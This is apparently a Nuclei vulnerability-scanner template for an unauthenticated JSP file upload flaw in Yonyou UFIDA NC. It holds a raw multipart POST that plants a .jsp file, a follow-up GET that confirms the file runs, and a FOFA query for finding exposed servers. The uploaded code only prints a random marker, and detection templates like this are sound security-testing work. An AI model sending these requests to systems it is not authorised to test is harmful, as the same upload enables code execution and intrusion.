id: yonyou-nc-grouptemplet-fileupload

info:
  name: UFIDA NC Grouptemplet Interface - Unauthenticated File Upload
  author: SleepingBag945
  severity: critical
  description: |
    The UFIDA NC Grouptemplet Interface permits unauthenticated users to upload potentially malicious files.
  reference:
    - https://www.seebug.org/vuldb/ssvid-99547
    - https://github.com/Augensternyu/POC-bomber/blob/main/pocs/redteam/yongyou_nc_fileupload_2022.py
  classification:
    cpe: cpe:2.3:a:yonyou:ufida-nc:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="用友-UFIDA-NC
    product: ufida-nc
    vendor: yonyou
  tags: yonyou,intrusive,ufida,fileupload,vuln

variables:
  v1: "{{rand_int(1,100)}}"

http:
  - raw:
      - |
        POST /uapim/upload/grouptemplet?groupid={{v1}}&fileType=jsp HTTP/1.1
        Host: {{Hostname}}
        Content-type: multipart/form-data; boundary=----------Ef1KM7GI3Ef1ei4Ij5ae0KM7cH2KM7

        ------------Ef1KM7GI3Ef1ei4Ij5ae0KM7cH2KM7
        Content-Disposition: form-data; name="upload"; filename="{{randstr_1}}.jsp"
        Content-Type: application/octet-stream

        <%out.println("{{randstr_2}}");%>
        ------------Ef1KM7GI3Ef1ei4Ij5ae0KM7cH2KM7--
      - |
        GET /uapim/static/pages/{{v1}}/head.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "status_code_2 == 200 && contains(body_2,'{{randstr_2}}')"
        condition: and
# digest: 490a0046304402202534e2a332ffe6a1a0e1635a9e3b208ea41c9c80fdca0078685aff919ad28ef002206eefcad8484e5752a6460fd919ec4a466dbf82a0336f73ad3b89c1b40a3be89f:922c64590222798bb761d5b6d8e72950